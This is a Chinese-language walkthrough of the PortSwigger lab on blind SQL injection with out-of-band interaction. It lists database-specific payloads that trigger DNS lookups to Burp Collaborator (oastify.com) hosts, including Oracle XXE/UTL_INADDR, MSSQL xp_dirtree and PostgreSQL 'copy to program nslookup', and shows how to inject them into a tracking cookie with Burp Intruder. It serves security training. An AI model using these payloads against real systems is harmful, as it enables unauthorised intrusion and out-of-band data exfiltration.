从业者-盲注-带外交互
# 实验室:带外交互的 SQL 盲注入
# 题目
此实验室包含一个SQL盲注 (opens new window)漏洞。应用程序使用跟踪 Cookie 进行分析,并执行包含所提交 Cookie 值的 SQL 查询。
SQL 查询以异步方式执行,对应用程序的响应没有影响。但是,您可以触发与外部域的带外交互。
要解决本实验问题,请利用 SQL 注入漏洞导致 DNS 查找 Burp Collaborator
。
Learning path
如果你正在遵循我们建议的学习路径 (opens new window),请注意,本实验要求你对我们尚未涉及的主题有一定的了解。如果你遇到困难,请不要担心;等你的知识有了进一步的发展以后再来吧。
笔记
为了防止学院平台被用来攻击第三方,我们的防火墙阻止了实验室和任意外部系统之间的交互。要解决实验室问题,必须使用 Burp Collaborator 的默认公共服务器。
提示
您可以在我们的SQL注入备忘单 (opens new window)上找到一些有用的有效负载。
- name: 实验室-从业者
desc: 带外交互的 SQL 盲注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实验室
根据题意,可得实验目标:
- 在 Cookie 中存在 SQL 注入漏洞,利用 SQL 盲注技术,构造带有带外交互的 SQL 注入查询语句;
- 使应用程序通过 DNS 查询
Burp Collaborator
的服务器地址。
注意!Burp Collaborator
功能需要 Burp Suite 专业版,请提前准备相关软件。
点击 “Access the lab” 进入实验室。
实验室首页如下:
拦截首页的 HTTP 请求数据包,使用 Repeater
对数据包进行重发。
查阅SQL注入备忘单 (opens new window),找到相关攻击载荷。
其中BURP-COLLABORATOR-SUBDOMAIN
需要填写相应的 DNS 域。
# Oracle - 1(通过 Oracle 未修复的 XXE 漏洞来触发)
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
# Oracle - 2(对于修复了 XXE 漏洞的 Oracle,可以使用以下语句,但是需要一定权限)
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
# Microsoft
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
# PostgreSQL
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
# MySQL - 1
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
# MySQL - 2
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# 获取 DNS 域
启用BurpSuite
自带的Collaborator
功能。

获取 DNS 域:
- 旁边的输入框输入:1
- 点击 “Copy to clipboard”

Burp Suite 会将一个 DNS 域复制到我们的剪贴板中,你可以将其粘贴以进行查看。
刚刚查阅SQL注入备忘单 (opens new window)时,找到了 6 条攻击载荷,所以此处申请 6 个 DNS 域。

新建一个文件,将 6 条攻击载荷与 6 个 DNS 域组合,每条载荷对应一个域:
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://7s0vsv6mfu7d9sffgnhll3yqghm8ayyn.oastify.com/"> %remote;]>'),'/l') FROM dual-- qwe
' UNION SELECT UTL_INADDR.get_host_address('1mopmp0g9o173m99ahbffxskabg24tsi.oastify.com') FROM dual-- qwe
' UNION exec master..xp_dirtree '//4tysts7jgr8aapgchkiim0znhen5bxzm.oastify.com' -- qwe
' UNION copy (SELECT '') to program 'nslookup bxczxzbqkychewkjlrmpq73ullrcf53u.oastify.com' -- qwe
' UNION SELECT LOAD_FILE('\\\\e2h222gtp1hkjzpmqursva8xqowfk98y.oastify.com\\a')-- qwe
' UNION SELECT 1 INTO OUTFILE '\\\\wddkdkrb0js2uh041c2a6sjf167xvsjh.oastify.com\a'-- qwe
2
3
4
5
6
注意!需要对攻击载荷进行一些处理,例如:Oracle 数据库的查询语句需要使用FROM
指定一个表。
使用Intruder
功能,在TrackingId
后面添加任意字符(此处为 a),然后将其添加到选区:
设置攻击载荷,导入刚刚的文件。
点击 “Start attack” 开始攻击。
当触发 DNS 查询时,Collaborator
功能会有高亮提示,进行查看:
查看Intruder
的攻击历史记录,查找哪条攻击载荷使用了以上 DNS 域。
发现攻击载荷 Oracle-2 使用了该 DNS 域。
回到浏览器页面,实验完成。